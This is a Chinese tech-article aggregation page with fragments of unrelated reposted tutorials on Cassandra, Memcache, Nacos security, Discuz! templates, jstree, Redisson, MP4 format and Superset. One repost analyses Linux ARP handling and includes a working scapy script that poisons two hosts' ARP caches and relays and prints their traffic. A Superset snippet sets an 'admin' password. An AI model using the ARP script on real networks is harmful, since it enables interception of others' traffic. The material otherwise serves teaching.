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...对海量历史数据迁移或初始化大量预生成数据时，直接通过CQL进行批量插入可能并不高效。此时，Cassandra提供的sstableloader工具可以实现大批量数据的快速导入。这个工具允许我们将预先生成好的SSTable文件直接加载到集群中，极大地提高了数据加载速度。 bash bin/sstableloader -u -p -d /path/to/sstables/ （2）Bulk Insert与COPY命令 对于临时性的大量数据插入，也可以利用CQL的COPY命令从CSV文件中导入数据，或者编写程序进行Bulk Insert。这种方式虽然不如sstableloader高效，但在灵活性上有一定优势。 cql COPY orders FROM '/path/to/orders.csv'; 或者编程实现Bulk Insert： java Session session = cluster.connect("my_keyspace"); PreparedStatement ps = session.prepare("INSERT INTO orders (order_id, customer_id, product) VALUES (?, ?, ?)"); for (Order order : ordersList) { BoundStatement bs = ps.bind(order.getId(), order.getCustomerId(), order.getProduct()); session.execute(bs); } 4. 深入探讨与实践总结 尽管Cassandra的Batch操作和批量加载功能强大，但运用时需要根据实际业务场景灵活调整策略。比如，在网络比较繁忙、负载较高的时候，咱就得避免一股脑地进行大批量的操作。这时候，咱们可以灵活调整批次的大小，就像在平衡木上保持稳定一样，既要保证性能不打折，又要让网络负载不至于过大，两头都得兼顾好。此外，说到批量加载数据这事儿，咱们得根据实际情况，灵活选择最合适的方法。比如说，你琢磨一下是否对实时性有要求啊，数据的格式又是个啥样的，这些都是决定咱采用哪种方法的重要因素。 总之，无论是日常开发还是运维过程中，理解和掌握Cassandra的Batch操作及批量加载技术，不仅能提升系统的整体性能，还能有效应对复杂的大规模数据管理挑战。在实际操作中不断尝试、捣鼓，让Cassandra这个家伙更好地为我们业务需求鞍前马后地服务，这才是技术真正价值的体现啊！

...不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 邻居子系统与ARP协议 邻居子系统的作用就是将IP地址，转换为MAC地址，类似操作系统中的MMU（内存管理单元），将虚拟地址，转换为物理地址。 其中邻居子系统相当于地址解析协议（IPv4的ARP协议，IPv6的ND(Neighbor discover)协议）的一个通用抽象，可以在其上实现ARP等各种地址解析协议 邻居子系统的数据结构 struct neighbour{....................} neighbour结构存储的是IP地址与MAC地址的对应关系，当前状态 struct neighbour_table{....................} 每一个地址解析协议对应一个neighbour_table,我们可以查看ARP的初始函数arp_init，其会创建arp_tbl neighbour_table 包含 neighbour 邻居子系统的状态转换 其状态信息是存放在neighbour结构的nud_state字段的 可以分析neigh_update与neigh_timer_handler函数，来理解他们之间的转换关系。 NUD_NONE: 表示刚刚调用neigh_alloc创建neighbour NUD_IMCOMPLETE 发送一个请求，但是还未收到响应。如果经过一段时间后，还是没有收到响应，则查看发送请求数是否超过上限，如果超过则转到NUD_FAILED,否则继续发送请求。如果接受到响应则转到NUD_REACHABLE NUD_REACHABLE: 表示目标可达。如果经过一段时间，未有到达目标的数据包，则转为NUD_STALE状态 NUD_STALE 在此状态，如果有用户准备发送数据，则切换到NUD_DELAY状态 NUD_DELAY 该状态会启动一个定时器，然后接受可到达确认，如果定时器过期之前，收到可到达确认，则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。 NUD_PROBE 类似NUD_IMCOMPLETE状态 NUD_FAILED 不可达状态，准备删除该neighbour 各种状态之间的切换，也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看 ARP接收处理函数分析 ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中 我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程 当为ARP请求数据包，且能找到到目的地址的路由 如果不是发送到本机的ARP请求数据包，则看是否需要进行代理ARP处理 如果是发送到本机的ARP请求数据包，则分neighbour的状态进行讨论，但是通过分析发现，不论当前neighbour是处于何种状态（NUD_FAILD、NUD_NONE除外），则都会将状态切换成 NUD_STALE状态，且mac地址不相同时，则会切换到本次发送方的mac地址 当为ARP请求数据包，不能找到到目的地址的路由 不做任何处理 当为ARP响应数据包 如果没有对应的neighbour，则不做任何处理。如果该neighbour存在，则将状态切换为NUD_REACHABLE，MAC地址更换为本次发送方的地址 中间人攻击原理 通过以上分析，可以向受害主机A发送ARP请求数据包，其中请求包中将源IP地址，设置成为受害主机B的IP地址，这样，就会将主机A中的B的 MAC缓存，切换为我们的MAC地址。 同理，向B中发送ARP请求包，其中源IP地址为A的地址 然后，我们进行ARP数据包与IP数据包的中转，从而达到中间人攻击。 使用Python scapy包，实现中间人攻击： 环境 python3 ubuntu 14.04 VMware 虚拟专用网络 代码 !/usr/bin/python3from scapy.all import import threadingimport timeclient_ip = "192.168.222.186"client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) replysendp(pkt)if packet.op == 2: replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join() client_ip 为发送数据的IP server_ip 为接收数据的IP 参考质料 Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制 https://blog.csdn.net/lickylin/article/details/22228047 转载于:https://www.cnblogs.com/r1ng0/p/9861525.html 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...以将MemCache作为一级缓存，Redis作为二级缓存，这样即使MemCache出现问题，还有Redis可以缓冲一下。 - 使用缓存降级策略：当缓存不可用时，可以暂时返回默认值或者降级数据，减少对数据库的冲击。 4. 代码示例 MemCache的使用与缓存雪崩预防 现在，让我们通过一些代码示例来看看如何使用MemCache以及如何预防缓存雪崩。 python import memcache 初始化MemCache客户端 mc = memcache.Client(['127.0.0.1:11211'], debug=0) def get_data(key): 尝试从MemCache获取数据 data = mc.get(key) if not data: 如果没有找到，则从数据库中获取 data = fetch_from_db(key) 设置缓存过期时间为随机时间，避免雪崩 mc.set(key, data, time=random.randint(60, 300)) return data def fetch_from_db(key): 模拟从数据库获取数据的过程 print("Fetching from database...") return "Data for key: " + key 示例调用 print(get_data('key1')) 在这个例子中，我们设置了缓存的过期时间为一个随机时间，而不是固定的某个时刻，这样就可以有效避免缓存雪崩的问题。 5. 什么是缓存击穿？ 接下来，我们聊聊缓存击穿。想象一下，你手头有个超级火的信息，比如说某位明星的新鲜事儿，这事儿火爆到不行，大伙儿都眼巴巴地等着第一时间瞧见呢！不过嘛，要是这个数据点刚好没在缓存里，或者因为某些原因被清理掉了，那所有的请求就都得直接去后台数据库那儿排队了。这样一来，缓存就起不到作用了，这种情况就叫“缓存击穿”。 6. 如何解决缓存击穿？ 解决缓存击穿的方法主要有两种： - 加锁机制：对于同一个热点数据，只允许一个请求去加载数据，其他请求等待该请求完成后再从缓存中获取数据。 - 预先加载：在数据被删除之前，提前将其加载到缓存中，确保数据始终存在于缓存中。 7. 代码示例 加锁机制防止缓存击穿 python import threading lock = threading.Lock() def get_hot_data(key): with lock: 尝试从MemCache获取数据 data = mc.get(key) if not data: 如果没有找到，则从数据库中获取 data = fetch_from_db(key) 设置缓存过期时间 mc.set(key, data, time=300) return data 示例调用 print(get_hot_data('hot_key')) 在这个例子中，我们引入了一个线程锁lock，确保在同一时刻只有一个请求能够访问数据库，其他请求会等待锁释放后再从缓存中获取数据。 结语 好了，今天的讲解就到这里。希望读完这篇文章，你不仅能搞清楚啥是缓存雪崩和缓存击穿，还能学到一些在实际操作中怎么应对的小妙招。嘿，记得啊，碰到技术难题别慌，多琢磨琢磨，多动手试试，肯定能搞定的！如果你还有什么疑问或者想了解更多细节，欢迎随时留言讨论哦！ 希望这篇文章能帮助到你，咱们下次见！

...用的浪潮下，配置中心作为基础设施的重要组成部分，扮演着至关重要的角色。其中，阿里开源的Nacos（Dynamic Naming and Configuration Service）以其强大的服务发现、配置管理功能备受开发者青睐。然而，在享受其便捷的同时，我们也必须关注到安全性问题。这篇内容会手把手带你走通如何给Nacos配置安全访问，确保你的服务配置信息妥妥地锁住，不让那些恶意的小贼有机可乘，篡改你的宝贵数据。 1. 认识Nacos安全风险 首先，让我们明确为何要关注Nacos的安全访问配置。在默认安装的情况下，Nacos控制台是不设防的，也就是说，只要有人晓得Nacos服务器的具体位置，就能畅通无阻地访问和随意操作里边的数据，完全不需要经过身份验证这一关。在2021年，有个安全漏洞可把这个问题给捅出来了。这个情况就是，有些外部的家伙能假扮成Nacos-server，趁机捞取一些不该他们知道的重要信息。因此，加强Nacos的安全访问控制至关重要。 2. 基本安全配置 开启内置认证 步骤一：修改配置文件 找到Nacos的配置文件 conf/application.properties 或者 conf/nacos.properties，根据环境选择相应的文件进行编辑。添加或修改以下内容： properties nacos.core.auth.enabled=true nacos.core.auth.system.admin.password=your_strong_password_here 这里开启了Nacos的核心认证机制，并设置了管理员账户的密码。请确保使用一个足够复杂且安全的密码。 步骤二：重启Nacos服务 更改配置后，需要重启Nacos服务以使新配置生效。通过命令行执行： bash sh ./startup.sh -m standalone 或者如果是Windows环境： cmd cmd startup.cmd -m standalone 现在，当您访问Nacos控制台时，系统将会要求输入用户名和密码，也就是刚才配置的“nacos”账号及其对应密码。 3. 高级安全配置 集成第三方认证 为了进一步提升安全性，可以考虑集成如LDAP、AD或其他OAuth2.0等第三方认证服务。 示例代码：集成LDAP认证 在配置文件中增加如下内容： properties nacos.security.auth.system.type=ldap nacos.security.auth.ldap.url=ldap://your_ldap_server:port nacos.security.auth.ldap.base_dn=dc=example,dc=com nacos.security.auth.ldap.user.search.base=ou=people nacos.security.auth.ldap.group.search.base=ou=groups nacos.security.auth.ldap.username=cn=admin,dc=example,dc=com nacos.security.auth.ldap.password=your_ldap_admin_password 这里的示例展示了如何将Nacos与LDAP服务器进行集成，具体的URL、基础DN以及搜索路径需要根据实际的LDAP环境配置。 4. 探讨与思考 配置安全是个持续的过程，不只是启动初始的安全措施，还包括定期审计和更新策略。在企业级部署这块儿，我们真心实意地建议你们采取更为严苛的身份验证和授权规则。就像这样，比如限制IP访问权限，只让白名单上的IP能进来；再比如，全面启用HTTPS加密通信，确保传输过程的安全性；更进一步，对于那些至关重要的操作，完全可以考虑启动二次验证机制，多上一道保险，让安全性妥妥的。 此外，时刻保持Nacos版本的更新也相当重要，及时修复官方发布的安全漏洞，避免因旧版软件导致的风险。 总之，理解并实践Nacos的安全访问配置，不仅是保护我们自身服务配置信息安全的有力屏障，更是构建健壮、可靠云原生架构不可或缺的一环。希望这篇文能实实在在帮到大家，在实际操作中更加游刃有余地对付这些挑战，让Nacos变成你手中一把趁手的利器，而不是藏在暗处的安全隐患。

...不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 前言 本文写于2007年11月，那时候我是在Discuz!开发组为PHPChina的《PHPer》写的稿，一直也没有发到blog上了，今天偶然之间记起，顺手转发过来。 一、关于模板引擎的前言 从phplib到smarty，再到Discuz!的模板机制，本文试图通过PHP模板引擎为你讲解作者自己的PHP心得。 我清楚的记得在我刚上大学开始学习PHP的时候，曾经在phpe.net看到过一篇关于phplib Template和FastTemplate这两模板引擎性能比较的文章。让我在接下来半年的时间内持续的使用着phplib。不可否认phplib是左右了一代PHP开发人员对于PHP模板引擎的认识。或许你也会对下面的方法比较熟悉$t->set_file $t->set_var 当我对于phplib的执行效率不满意的时候，我开始寻找下一个PHP的模板引擎，于是smarty跳入我的视野范围，当我费尽心血去学会了smarty并使用开发了很多东西，而现在的我突然发现记得的也就只有下面的方法了$s->assign $s->display 究竟我们需要模板引擎来做什么呢，MVC？简单？易用？效率？请看下文的分析。 二、程序处理的分析 1.PHPLIB的程序处理过程 从phplib的处理开始讲起$t = new Template() $t->set_file $t->set_var $t->parse $t->p 看上面的代码，翻译成中文就是初始化模板类$t 设置模板文件 设置模板变量 分析模板文件中的模板变量 输出内容 通过了最少5个步骤在php程序中实现模板的处理 2.Smarty的程序处理过程 现在来看smarty的处理$s = new Smarty $s->assign $s->display 翻译成中文就是初始化模板类$s 设置模板变量 解析并输出模板 3.Discuz!模板的程序处理过程include template(tplname); 主要作用就是指定给程序需要处理的模板文件 在上述三种模板处理机制中，最容易理解和接受就是Discuz!模板的处理过程。初始化、设置变量、解析模板、输出内容，Discuz!只用了一个函数来做。对于一个开源的论坛软件，这样处理的好处是显而易见的，对于Discuz!进行二次开发的程序员的要求降低。简化模板语言，方便风格和插件的制作，这也在一定程度上促进了Discuz!的传播 三、模板源文件的语法 在phplib中处理循环嵌套的时候，使用： {it} 在smarty中处理循环嵌套的时候，引入了< {section name=loopName loop=$loopArray}>(当然还有foreach这样的) 在Discuz!中处理循环嵌套的时候， 其实真正的模板面对的可以说是不懂PHP或者懂一点PHP的美工同志们，模板的复杂就意味着美工制作页面的难度加大。在必不可少的需要模板有逻辑处理的时候，为什么不在html代码中使用原生态的PHP语法，而让美工相当于去学习另外一种语言呢？在我个人的经验中，显然是Discuz!的模板语言更为简单易学，也为我节省了更多的时间。 四、Discuz!模板处理机制 我剥离出一个简单的Discuz!模板处理函数function template($file, $templateid = 0, $tpldir = '') { $tplfile = DISCUZ_ROOT.'./'.$tpldir.'/'.$file.'.htm';//模板源文件，此处$tplfile变量的值可能是D:\discuz\templates\default\demo.htm $objfile = DISCUZ_ROOT.'./forumdata/templates/'. $templateid.'_'.$file.'.tpl.php';//模板缓存文件，此处$objfile变量的值可能是D:\discuz\forumdata\templates\1_demo.tpl.php //如果模板源文件的修改时间迟于模板缓存文件的修改时间， //就是模板源文件被修改而模板缓存没有更新的时候， //则调用parse_template函数重新生成模板缓存文件。 if(@filemtime($tplfile) > @filemtime($objfile)) { require_once DISCUZ_ROOT.'./include/template.func.php'; parse_template($file, $templateid, $tpldir); } //返回缓存文件名称 //$objfile变量内容可能为D:\discuz\forumdata\templates\1_demo.tpl.php return $objfile; } 而php页面的模板执行语句include template('demo'); 实际上在本例中就是相当于include 'D:\discuz\forumdata\templates\1_demo.tpl.php'; 这个流程就是一个demo.php文件中当数据处理完成以后include template('demo')，去显示页面。 五、总结 我也曾经看到过有列举出很多种的PHP模板引擎，但是我觉着phplib、smarty、Discuz!模板机制就足以说明问题了。 1.我们需要模板来做什么？ 分离程序与界面，为程序开发以及后期维护提供方便。 2.我们还在关心什么？ PHP模板引擎的效率，易用性，可维护性。 3.最后的要求什么？ 简单就是美！ 我的文章好像没有写完，其实已经写完了，我要说明的就是从PHP的模板引擎看Discuz!模板机制。分析已经完成，或许以后我会再写篇实际数据的测试供给大家参考！ Tags: none 版权声明：原创作品，欢迎转载，转载时请务必以超链接形式标明文章原始地址、作者信息和本声明。 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_42557656/article/details/115159292。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...进程通信安全性的最佳实践和指导。 在实际应用层面，华为鸿蒙系统HarmonyOS亦采用了自研的分布式能力Kit，其中其轻量化通信框架实现了与Binder类似的高效、安全的跨进程通信机制，通过全新的“服务卡片”设计理念，展现了对传统IPC通信方式的重要创新。这无疑为Android开发者研究跨进程通信领域提供了新的视角和参考案例。 此外，针对Android Framework底层原理的深入解读，可以参阅《深入理解Android：卷III》一书，作者对Handler循环、Binder驱动模型及其在Java Framework层的工作原理做了详尽剖析，结合实例代码帮助读者更扎实地掌握这些核心技术点。 综上所述，紧跟行业前沿动态和技术发展趋势，结合经典文献资料深入学习，将有助于开发者全面、透彻地理解和掌握Android Framework中Handler与Binder的关键技术和应用场景，从而在面试及实际项目开发中游刃有余。

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data.instance.set_icon(currentNode, "glyphicon glyphicon-folder-open"); });$tree.on("close_node.jstree", function(e,data){ //监听关闭事件 var currentNode = data.node; data.instance.set_icon(currentNode, "glyphicon glyphicon-folder-close"); });$tree.on("activate_node.jstree", function(e, data){var currentNode = data.node; //获取当前节点的json .node //alert(currentNode.a_attr.id) //alert(currentNode.a_attr.href) //获取超链接的 .a_attr.href "链接" .a_attr.id ID //alert(currentNode.li_attr.href) //获取属性的 .li_attr.href "链接" .li_attr.id ID });// 创建$tree.on("create_node.jstree", function(e, data){alert("创建node节点");});// 修改$tree.on("rename_node.jstree", function(e, data){alert("修改node节点");});// 删除$tree.on("delete_node.jstree", function(e, data){alert("删除node节点");});// 查询节点名称var to = false;$("search_ay").keyup(function(){if(to){clearTimeout(to);}to = setTimeout(function(){$tree.jstree(true).search($('search_ay').val()); //开启插件查询后 使用这个方法可模糊查询节点 },250);});$('.btn-tab').click(function(){ //选项事件 //alert($(this).attr("var")) $tree.jstree(true).destroy(); //可做联级 $tree = jstree_fun($(this).attr("var"));//可做联级 //alert($(this).attr("var")) }); $('.refresh').click(function(){ //刷新事件 $tree.jstree(true).refresh () }); return $tree; }function node_create(){var ref = $("jstree_demo_div").jstree(true);var sel = ref.get_selected();if(!sel.length){alert("请先选择一个节点");return;}sel = sel[0];sel = ref.create_node(sel);if(sel){ref.edit(sel); } }function node_rename(){var ref = $("jstree_demo_div").jstree(true);var sel = ref.get_selected();if(!sel.length){alert("请先选择一个节点");return;}sel = sel[0];ref.edit(sel);}function node_delete(){var ref = $("jstree_demo_div").jstree(true);var sel = ref.get_selected();if(!sel.length){alert("请先选择一个节点");return;}sel = sel[0];if(ref.get_node(sel).parent==''){alert("根节点不允许删除");return;}ref.delete_node(sel);}// 初始化操作function init(){var $tree = jstree_fun("json/data.json");}init(); 3、图片效果展示 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_27717967/article/details/79167605。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...。 Redisson作为一款基于Redis的高级Java客户端，提供了丰富的数据结构和分布式服务，其中就包括对分布式锁的优化实现。它采用Redis的Lua脚本、Redis事务以及watch命令等多种机制相结合的方式，确保了在高并发场景下获取和释放锁的操作是原子性的，有效避免了本文所述的“两人同时获得锁”的诡异现象。 此外，Redisson还支持可重入锁、公平锁、读写锁等多种锁类型，满足不同业务场景下的需求。通过定期自动续期功能，可以防止因网络抖动或进程阻塞导致的锁超时失效问题，极大地提高了系统的稳定性和可靠性。 与此同时，随着云原生技术的发展，Kubernetes等容器编排工具日益普及，Redis Cluster或者Sentinel集群部署模式成为主流。Redisson对此提供了良好的支持，使得开发者能够更加便捷地在分布式环境中利用Redis构建高性能、高可用的服务。 总之，在面对复杂的分布式系统开发时，深入理解和合理运用诸如Redisson这样的工具库，不仅可以解决Redis在实现分布式锁时的并发难题，更能提升整体系统的架构水平和运维效率。对于关注此类话题的技术人员而言，不断跟进并学习这些最新实践无疑具有极高的价值。

...在本文中，作者学习并实践了Java爬虫技术，用于从京东商城抓取手机类商品的数据。 SpringBoot框架 , SpringBoot是由Pivotal团队开发的一款开源Java应用程序框架，它简化了Spring应用的初始搭建以及开发过程，提供了一种快速构建独立、生产级别的基于Spring框架的应用程序的方式。在文中，项目采用SpringBoot框架进行搭建，结合JPA（Java Persistence API）实现对爬取数据的持久化存储管理。 JPA（Java Persistence API） , JPA是Java平台上的一个规范，为Java开发者提供了对象关系映射（ORM）的功能，使开发者可以使用面向对象的方式来操作数据库。在文章的场景下，JPA被应用于SpringBoot项目中，用以简化数据库操作，将爬取的商品数据自动映射到实体类，并通过ORM方式方便地与数据库进行交互和数据持久化。 HttpClient , Apache HttpClient是一个强大的Java库，用于执行HTTP协议相关的客户端功能，如GET、POST等请求，获取HTTP响应结果。在本文的爬虫项目中，HttpClient被用来发起对京东页面的HTTP请求，获取商品列表页面的HTML源码。 Jsoup , Jsoup是一个基于Java的HTML解析器，它可以非常方便地提取和操作HTML文档中的数据，支持CSS选择器来查找元素。在该篇文章的爬虫实践中，Jsoup用于解析从京东页面获取的HTML内容，从中提取出商品SPU、SKU、价格、标题、图片链接等具体信息。

...不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 接上一篇文章： 重学音视频？认识 MP4 视频（上） 文章的提到的资料都放在知识星球了，后续的内容更新还是以星球为主，也会放出一些干货在公众号的，现在加入星球还是优惠价，后面干货越多，涨价的可能性就越大了。 一个关于音视频领域专业问答的小圈子！！ 为了方便大家的检索，我把专栏内容放在网页上了，地址如下： https://glumes.com/player_book/ 如图所示，就能访问专栏啦。 以下就是专栏的内容： 在前文介绍了 MP4 标准的缘由，现在要详细了解一下它的格式。 还是回到这张图： 重点看这里： 第十四部分（ISO/IEC 14496-14）：MPEG-4（即MP4）文件格式：定义基于第十二部分的用于存储MPEG-4内容的视频文档格式。 也就是说 MP4 文件格式是定义在 MPEG-4 第 12 部分基础之上的，而第 12 部分的内容描述如下： 第十二部分（ISO/IEC 14496-12）：基于ISO的媒体文件格式：定义一个存储媒体内容的文件格式。 所以，要学习 MP4 文件格式，要先了解 第 12 部分的内容，关于 MPEG-4 第 12 部分的文档，我也同步放在知识星球里面了，有需要的可以去下载。 网上关于 MP4 文件格式的文章内容，基本都可以在第 12 部分中找到，可以说它才是学习知识的源头，当做教科书来学肯定没问题。 有官方文档的情况下，会尽量根据文档来学习，而不是盲目的参考网络博客，那样得到的知识体系太零散了。 MP4 文件组成 摘录一段官方文档的内容： 关于 MP4 文件格式，参照文档说明：文件是由一系列叫做 Box 的对象组成的，所有的数据都存储在 Box 中。 官方文档中把这些由对象结构组成的文件叫做 Object-structured File ，算是一个比较广义的概念，但我们就当做 MP4 格式好了，狭义地理解一下，并且这种文件格式必须要包含 File Type 类型的 Box 。 MP4 中的 Box MP4 中的 Box 有很多类型，每个类型中的 Box 代表的含义还不相同，但他们的基础结构还是相同的，继续往下看文档： 每个 Box 是由 Header 和 Data 两部分组成的，Header 中包含了很多标识信息，而 Data 可以是纯数据也可以是其他的子 Box 。 参照文档内容，Header 中包含了 Box 的大小 Size 和类型 Type。 关于 Size 的说明，参考文档： size 字段包含了 Box 和子 Box 的大小，如果 size 为 1 ，说明实际的大小在 largesize 字段中，如果 size 为 0 ，说明这是文件最后一个 Box 了。 关于 Type 的说明，参考文档： type 字段表示该 Box 的类型，标准的 Box 类型都是用四个字母来表示的，如果是用户自定义的类型，就用 uuid 来表示。 另外，要强调一下 Box 的字节序是网络字节序，也就是大端序，关于 Box 结构的伪代码文档中也给出了： 根据伪代码再看 Box 的结构定义就一目了然了。 MP4 中的 FullBox Box 可以说是所有 Box 类型的基类，接下来要了解它的第一个子类 FullBox 。 FullBox 在 Box 的基础上多了 version 和 flags 字段。 其中 version 字段表示 Box 的版本，flags 字段是标志位。 如果 Box 遇到了无法识别的 version 或者 type 字段，就应该跳过或者忽略。 MP4 中更多的 Box MP4 中还有很多类型的 Box ，其实有些 Box 相当重要，甚至面试中还会经常问到，下面从文档中给大家摘录一下所有的 Box 类型。 这些内容在文档中都有，自行下载了，网络的一些资料可能还没有文档全面呢。 后面我们也会继续讲解这些 Box 类型的，以及使用工具来查看 Box 信息，这节就先到这里啦！！！ 众所周知，开通了知识星球，邀请了一些在头条、快手等知名IT企业从事过音视频研发的朋友们做专业咨询，涉及的范围比较广，包括 Android/iOS 开发、Camera 开发、视频编辑、在线直播、WebRTC、播放器、OpenGL、C++ 等等，基本上涵盖了音视频工程领域的绝大部分内容。 关于音视频入门如何学习，学习了 FFmpeg 之后又该怎么办，跳槽选择哪个方向比较好，程序员职业软技能等等之类的问题，更是会以行业一线开发人员的角度帮你认真分析，出谋划策。 力求做到有问必答。在知识范围内，认真地对待每一个提问，不一定所有的问题都能答案，但每一个答案都是详细思考过的。 更多开发资料、博客源码、文档教程都会在星球内给出，白菜价即可加入，iOS 用户可以加我微信 ezglumes 拉你进去！！！ 一个音视频领域专业问答的小圈子！ 加我微信 ezglumes 拉你入技术交流群 推荐阅读： 音视频开发工作经验分享 || 视频版 OpenGL ES 学习资源分享 开通专辑 | 细数那些年写过的技术文章专辑 Android NDK 免费视频在线学习！！！ 你想要的音视频开发资料库来了 推荐几个堪称教科书级别的 Android 音视频入门项目 觉得不错，点个在看呗~ 本篇文章为转载内容。原文链接：https://blog.csdn.net/zhying719/article/details/124464016。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...新Spring应用的初始搭建以及开发过程。它通过内嵌的Tomcat服务器、自动配置和起步依赖等特性，极大地提高了开发效率和便利性，使得开发者能够快速构建出独立运行、生产级别的基于Spring框架的应用程序。 JSP（JavaServer Pages） , JSP是一种动态网页技术标准，允许在HTML代码中嵌入Java代码和JSP标签，以实现动态内容生成。在Spring Boot应用中，JSP视图通常作为后端控制器返回的结果模板，由服务器端解析执行并转换为HTML响应给客户端浏览器。 多模块项目 , 多模块项目是Maven或Gradle等项目管理工具支持的一种项目组织结构方式，将一个大型项目拆分为多个相互关联但又相对独立的子模块。在本文的语境下，多模块项目指的是使用Spring Boot构建的应用被划分为module-core（核心业务逻辑）、module-web（Web服务提供与控制层逻辑）和module-views（存放JSP视图文件）等多个模块，每个模块具有明确的功能划分和职责边界，通过定义合理的模块间依赖关系共同协作完成整体功能。 InternalResourceViewResolver , 在Spring MVC框架中，InternalResourceViewResolver是一个视图解析器，负责根据Controller方法返回的视图名称来查找实际的视图资源（如JSP页面）。它可以根据配置的前缀（prefix）和后缀（suffix）属性拼接出完整的视图路径，并将请求转发到该路径对应的资源上进行渲染。 TomcatServletWebServerFactory , 在Spring Boot中，TomcatServletWebServerFactory是一个用来定制内置Tomcat服务器配置的工厂类。通过它可以自定义Tomcat服务器的初始化参数、上下文路径、静态资源映射等设置，以适应项目的特定需求，例如在本文中用于处理跨模块的JSP视图资源加载问题。 WebMvcConfigurer , WebMvcConfigurer是Spring MVC框架中的一个接口，用于扩展Spring MVC的功能配置。开发者可以通过实现这个接口来自定义Spring MVC的行为，比如配置视图解析器、拦截器、消息转换器等。在本文中，通过实现WebMvcConfigurer接口来确保正确注册并配置InternalResourceViewResolver视图解析器。

... 然后，运行以下命令初始化数据库： bash superset db upgrade 最后，创建一个管理员账户以便登录： bash superset fab create-admin \ --username admin \ --firstname Superset \ --lastname Admin \ --email admin@fab.org \ --password admin 启动Superset服务器： bash superset runserver 3.2 配置数据源 一旦你成功安装了Superset，就可以开始配置数据源了。如果你想连上那个MySQL数据库，就得先在Superset里新建个数据库连接。具体步骤如下： 1. 登录到Superset的Web界面。 2. 导航到“Sources” -> “Databases”。 3. 点击“Add Database”按钮。 4. 填写数据库的相关信息，比如主机名、端口号、数据库名称等。 5. 保存配置后，你就可以在Superset中使用这个数据源了。 四、实战案例 使用Superset进行数据可视化 4.1 创建一个简单的柱状图 假设你已经成功配置了一个数据源，现在让我们来创建一个简单的柱状图吧。首先，导航到“Explore”页面，选择你想要使用的数据集。接着，在“Visualization Type”下拉菜单中选择“Bar Chart”。 在接下来的步骤中，你可以根据自己的需求调整图表的各种属性，比如X轴和Y轴的数据字段、颜色方案、标签显示方式等。完成后，点击“Save as Dashboard”按钮将其添加到仪表板中。 4.2 制作一个动态仪表板 为了展示Superset的强大之处，让我们尝试创建一个更加复杂的仪表板。假设我们要监控一家电商公司的销售情况，可以按照以下步骤来制作： 1. 添加销售总额图表 